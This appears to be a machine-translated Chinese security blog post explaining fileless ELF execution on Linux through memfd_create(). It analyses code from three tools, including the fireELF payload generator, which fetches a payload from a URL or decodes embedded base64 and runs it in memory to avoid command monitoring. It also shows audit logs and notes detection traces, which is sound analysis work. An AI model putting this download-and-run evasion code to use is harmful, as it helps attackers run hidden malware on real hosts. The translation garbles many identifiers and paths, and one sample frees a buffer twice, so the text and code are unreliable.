Explain
There are many articles about elf execution without file infiltration in Linux, such as in memory only elf execution (without TMPFS) and ELF in memory Execution and the Chinese version of Linux corresponding to these two articles have multiple ways to execute elf without file penetration. There are also some tools fireelf (Introduction: fireelf: no file Linux malicious code framework). The most critical method of all non file penetration is memfd_create()
MEMFD_CREATE
About memfd? Create, the above description is as follows: memfd? Create int memfd? Create (const char * name, unsigned int flags);
memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file,and so can be modified, truncated, memory-mapped, and so on.However, unlike a regular file, it lives in RAM and has a volatile backing storage. Once all references to the file are dropped, it is automatically released. Anonymous memory is used for all backing pages of the file. Therefore, files created by memfd_create() have the same semantics as other anonymous memory allocations such as those allocated using mmap with the MAP_ANONYMOUS flag.
The initial size of the file is set to 0. Following the call, the file size should be set using ftruncate(2). (Alternatively, the file may be populated by calls to write(2) or similar.)
The name supplied in name is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory /proc/self/fd/. The displayed name is always prefixed with memfd: and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.
Memfd create() will create an anonymous file and return a file descriptor pointing to the file. This file is just like a normal file, so it can be modified, truncated, memory mapped, etc. unlike a normal file, this file is saved in RAM. Once all connections to this file are lost, this file will The anonymous memory is used for all the backup storage of this file. So the anonymous file created by memfd ﹣ create() has the same semantics as the anonymous file created by map ﹣ anonymous flag through MMAP. The initialization size of this file is 0, and then the file size can be set by ftruncate or write. The file name provided by memfd ﹣ create() function will It is displayed on the connection pointed to by / proc / self / FD, but the filename usually contains the prefix of memfd. This filename is only used for debugging, which has no impact on the use of the anonymous file. At the same time, multiple files can have the same filename
After the introduction of memfd_create(), we will illustrate the situation with several practical examples
Ptrace
Ptrace is an open-source tool launched by Qianxin. It introduces the program name and parameters of low permission vague execution of Linux, avoiding the command log based on execve system call monitoring. The example code is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/memfd.h>
#include <sys/syscall.h>
#include <errno.h>
int anonyexec(const char *path, char *argv[])
{
int fd, fdm, filesize;
void *elfbuf;
char cmdline[256];
fd = open(path, O_RDONLY);
filesize = lseek(fd, SEEK_SET, SEEK_END);
lseek(fd, SEEK_SET, SEEK_SET);
elfbuf = malloc(filesize);
read(fd, elfbuf, filesize);
close(fd);
fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);
ftruncate(fdm, filesize);
write(fdm, elfbuf, filesize);
free(elfbuf);
sprintf(cmdline, "/proc/self/fd/%d", fdm);
argv[0] = cmdline;
execve(argv[0], argv, NULL);
free(elfbuf);
return -1;
}
int main()
{
char *argv[] = {"/bin/uname", "-a", NULL};
int result =anonyexec("/bin/uname", argv);
return result;
}
Analyze the above code
Lseek
Lseek's function prototype is:
#include <unistd.h>
off_t lseek(int fd,off_t offset,int whence); /*Returns new file offset if successful, or -1 on error*/
There are three values of "when", which are seek ﹣ set ﹣ seek ﹣ cur ﹣ seek ﹣ end. Different values have different interpretations of offset. Please refer to lseek (2) for details
In this case, filesize = lseek (FD, seek_set, seek_end); equivalent to filesize = lseek (FD, 0, seek_end); indicates the size of the whole file
fd = open(path, O_RDONLY);
filesize = lseek(fd, SEEK_SET, SEEK_END);
lseek(fd, SEEK_SET, SEEK_SET);
elfbuf = malloc(filesize);
read(fd, elfbuf, filesize);
So the meaning of the above code is: read the path file, get the size of the path file through lseek, and write the content of the path file into elfbuf through the write function
Memfd_create
According to our previous discussion on memfd ﹣ create, directly through memfd ﹣ create ("elf", MFD ﹣ cloexec); in theory, we can get FD of an anonymous file and syscall in the above code (﹣ NR ﹣ memfd ﹣ create, "elf", MFD ﹣ cloexec); it is completely equivalent
I was very puzzled about this. Later I saw in memory only elf execution We only know the Perl language used in this article. Considering that there is no libc Library in Perl, we can't directly call the memfd_create() function. So we need to call the memfd_create() method in the way of syscall. Then we need to know the system call code of memfd_create() through syscall()
$ uname -a
Linux 5.0.0-25-generic #26~18.04.1-Ubuntu SMP Thu Aug 1 13:51:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
/usr/include$ egrep -r '__NR_memfd_create|MFD_CLOEXEC' *
asm-generic/unistd.h:#define __NR_memfd_create 279
asm-generic/unistd.h:__SYSCALL(__NR_memfd_create, sys_memfd_create)
linux/memfd.h:#define MFD_CLOEXEC 0x0001U
valgrind/vki/vki-scnums-x86-linux.h:#define __NR_memfd_create 356
valgrind/vki/vki-scnums-ppc64-linux.h:#define __NR_memfd_create 360
valgrind/vki/vki-scnums-arm-linux.h:#define __NR_memfd_create 385
valgrind/vki/vki-scnums-mips64-linux.h:#define __NR_memfd_create (__NR_Linux + 314)
valgrind/vki/vki-scnums-s390x-linux.h:#define __NR_memfd_create 350
valgrind/vki/vki-scnums-arm64-linux.h:#define __NR_memfd_create 279
valgrind/vki/vki-scnums-ppc32-linux.h:#define __NR_memfd_create 360
valgrind/vki/vki-scnums-mips32-linux.h:#define __NR_memfd_create (__NR_Linux + 354)
valgrind/vki/vki-scnums-amd64-linux.h:#define __NR_memfd_create 319
x86_64-linux-gnu/bits/mman-shared.h:# ifndef MFD_CLOEXEC
x86_64-linux-gnu/bits/mman-shared.h:# define MFD_CLOEXEC 1U
x86_64-linux-gnu/bits/syscall.h:#ifdef __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:# define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356
x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create (__X32_SYSCALL_BIT + 319)
x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319
The function call code of memfd ﹣ create is 319, and the corresponding value of MFD ﹣ cloexec is 1U
- memfd_create("elf",MFD_CLOSEXEC)
- syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);
- syscall(319,"elf",1);
In addition, we also need to explain the meaning of MFD ﹣ cloexec. MFD ﹣ cloexec is equivalent to close on exec. As the name implies, it is to close the file handle after running. In complex systems, sometimes we don't know how many file descriptors (including socket handle, etc.) have been opened when fork subprocesses, which is really very difficult to clean one by one. What we expect is to be able to specify when we open a file handle before the fork subprocess: "this handle will be closed when I execute exec after the fork subprocess". In fact, there is such a way: the so-called close on exec.
Execve
The key code to execute is:
sprintf(cmdline, "/proc/self/fd/%d", fdm);
argv[0] = cmdline;
execve(argv[0], argv, NULL);
Assign the obtained anonymous file handle to the file descriptor of the current process and return it to CmdLine, so CmdLine is the file descriptor of the current process (its content is the content of the path passed by the anonyexec function). Therefore, execve (argv [0], argv, null) is equivalent to execve ("/ binuname", "- a", null) in this example. Through the audit monitoring, we get the following results:
type=EXECVE msg=audit(1566354435.549:153): argc=2 a0="/proc/self/fd/4" a1="-a"
type=CWD msg=audit(1566354435.549:153): cwd="/home/spoock/Desktop/test"
type=PATH msg=audit(1566354435.549:153): item=0 name="/proc/self/fd/4" inode=1550663 dev=00:05 mode=0100777 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PATH msg=audit(1566354435.549:153): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=11014834 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1566354435.549:153): proctitle="./a.out"
The captured code executes the statement type = execute MSG = audit (156635435.549:153): argc = 2a0 = "/ proc / self / FD / 4" A1 = "- a" without uname at all, but / proc / self / FD / 4, avoiding the detection of command monitoring by execve
Through monitoring proc, the corresponding information is: {"PID": "8360", "PPID": "22571", "uid": "1000", "CmdLine": "/ proc / self / FD / 4 - a", "exe": "/ memfd: ELF (deleted)", "CWD": "/ home / snoock / desktop / test"} which is consistent with the data monitored by audit
As for the file name provided by the memfd_create() function, it is reflected in the EXE, that is, / memfd: ELF (deleted), followed by the file name starting with memfd:
ELF in-memory execution
Let's look at the example program in elf in memory execution, which is different from the ptrace program
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
int main() {
int fd;
pid_t child;
char buf[BUFSIZ] = "";
ssize_t br;
fd = syscall(SYS_memfd_create, "foofile", 0);
if (fd == -1) {
perror("memfd_create");
exit(EXIT_FAILURE);
}
child = fork();
if (child == 0) {
dup2(fd, 1);
close(fd);
execlp("/bin/date", "", NULL);
perror("execlp date");
exit(EXIT_FAILURE);
} else if (child == -1) {
perror("fork");
exit(EXIT_FAILURE);
}
waitpid(child, NULL, 0);
lseek(fd, 0, SEEK_SET);
br = read(fd, buf, BUFSIZ);
if (br == -1) {
perror("read");
exit(EXIT_FAILURE);
}
buf[br] = 0;
printf("pid:%d\n", getpid());
printf("child said: '%s'\n", buf);
pause();
exit(EXIT_SUCCESS);
}
Different from ptrace, the above code uses fork () to achieve the purpose of no file penetration. The previous FD = syscall (sys_memfd_create, "foofile", 0); the meaning of ptrace is the same, which will not be explained here
Fork
child = fork();
if (child == 0) {
dup2(fd, 1);
close(fd);
execlp("/bin/date", "/bin/date", NULL);
perror("execlp date");
exit(EXIT_FAILURE);
} else if (child == -1) {
perror("fork");
exit(EXIT_FAILURE);
}
- Child = fork(), fork gets a subprocess;
- Child = = 0 to determine whether the current process is a child process. If it is a child process, carry out the following operations;
- Dup2 (FD, 1); close (FD); point the 1 file descriptor (standard output) of the subprocess to FD
- Execlp ("/ bin / date", "/ bin / date", null); execlp() and execve() have the same function of executing programs. Here is to execute the / bin / date code;
Since the subprocess has pointed the standard output to FD, the execution result will be written to FD through execlp ("/ bin / date", "/ bin / date", null)
Read
As for fork, we need to make it clear that when fork() is executed, the child process will get copies of all file descriptors of the parent process. The creation of these copies is similar to dup(), which means that the corresponding descriptors of the parent and child processes point to the same open file handle. Therefore, after the child process modifies FD, it can also see the modification of FD in the parent process
Analyze the following code:
lseek(fd, 0, SEEK_SET);
br = read(fd, buf, BUFSIZ);
if (br == -1) {
perror("read");
exit(EXIT_FAILURE);
}
buf[br] = 0;
- Lseek (FD, 0, seek [set); resets the offset of file FD to the beginning of the file
- Br = read (FD, buf, bufsiz); read the size of FD into buf and return the length of the read file.br
- BUF [br] = 0; set the last character to 0
Finally, we print the result of FD through printf ("child said:"% s'n ", buf); in fact, it is the execution result of / bin / date. We analyze and observe the execution process through audit and proc. The results of audit are as follows:
type=SYSCALL msg=audit(1566374961.124:5777): arch=c000003e syscall=59 success=yes exit=0 a0=55d8b6c9ac1a a1=7ffdd40de700 a2=7ffdd40e08a8 a3=0 items=2 ppid=22918 pid=22919 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=2 comm="date" exe="/bin/date" key="rule01_exec_command"
type=EXECVE msg=audit(1566374961.124:5777): argc=1 a0=""
type=CWD msg=audit(1566374961.124:5777): cwd="/home/spoock/Desktop/test"
type=PATH msg=audit(1566374961.124:5777): item=0 name="/bin/date" inode=8912931 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PATH msg=audit(1566374961.124:5777): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=11014834 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1566374961.124:5777): proctitle="(null)"
Information to view in proc:
$ ls -al /proc/22918/fd
total 0
dr-x------ 2 spoock spoock 0 Aug 21 17:58 .
dr-xr-xr-x 9 spoock spoock 0 Aug 21 17:52 ..
lrwx------ 1 spoock spoock 64 Aug 21 17:58 0 -> /dev/pts/1
lrwx------ 1 spoock spoock 64 Aug 21 17:58 1 -> /dev/pts/1
lrwx------ 1 spoock spoock 64 Aug 21 17:58 2 -> /dev/pts/1
lrwx------ 1 spoock spoock 64 Aug 21 17:58 3 -> '/memfd:foofile (deleted)'
$ ls -al /proc/22918/exe
lrwxrwxrwx 1 spoock spoock 0 Aug 21 17:52 /proc/22918/exe -> /home/spoock/Desktop/test/a.out
This feature is still obvious. The feature of file descriptor 3 is the same as that of ptrace. It starts with memfd, followed by the name of the anonymous file created through memfd_create()
FireELF
Fireelf is also an undocumented penetration testing tool. Its introduction is as follows:
fireELF is a opensource fileless linux malware framework thats crossplatform and allows users to easily create and manage payloads. By default is comes with 'memfd_create' which is a new way to run linux elf executables completely from memory, without having the binary touch the harddrive.
According to its introduction, it is also used to create an anonymous file in memory by means of memfd ﹐ create(). The core code is analyzed: simple.py
import base64
desc = {"name" : "memfd_create", "description" : "Payload using memfd_create", "archs" : "all", "python_vers" : ">2.5"}
def main(is_url, url_or_payload):
payload = '''import ctypes, os, urllib2, base64
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fexecve = libc.fexecve'''
if is_url:
payload += '\ncontent = urllib2.urlopen("{}").read()'.format(url_or_payload)
else:
encoded_payload = base64.b64encode(url_or_payload).decode()
payload += '\ncontent = base64.b64decode("{}")'.format(encoded_payload)
payload += '''\nfd = syscall(319, "", 1)
os.write(fd, content)
fexecve(fd, argv, argv)'''
return payload
In fact, the key code is:
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fd = syscall(319, "", 1)
fexecve = libc.fexecve
os.write(fd, content)
fexecve(fd, argv, argv)
In essence, we call memfd_create() to create an anonymous file, inject it into payload through OS. Write (FD, content), and finally execute it with fexecve (FD, argv, argv). It is essentially the same as the previous two methods
summary
In essence, the implementation of ELF without files is to create an anonymous file in memory by using memfd create(), which to some extent brings some challenges to the detection. However, there are some characteristics in the implementation of ELF through memfd create()
Reference resources
Multiple ways of executing elf in Linux system memory without file infiltration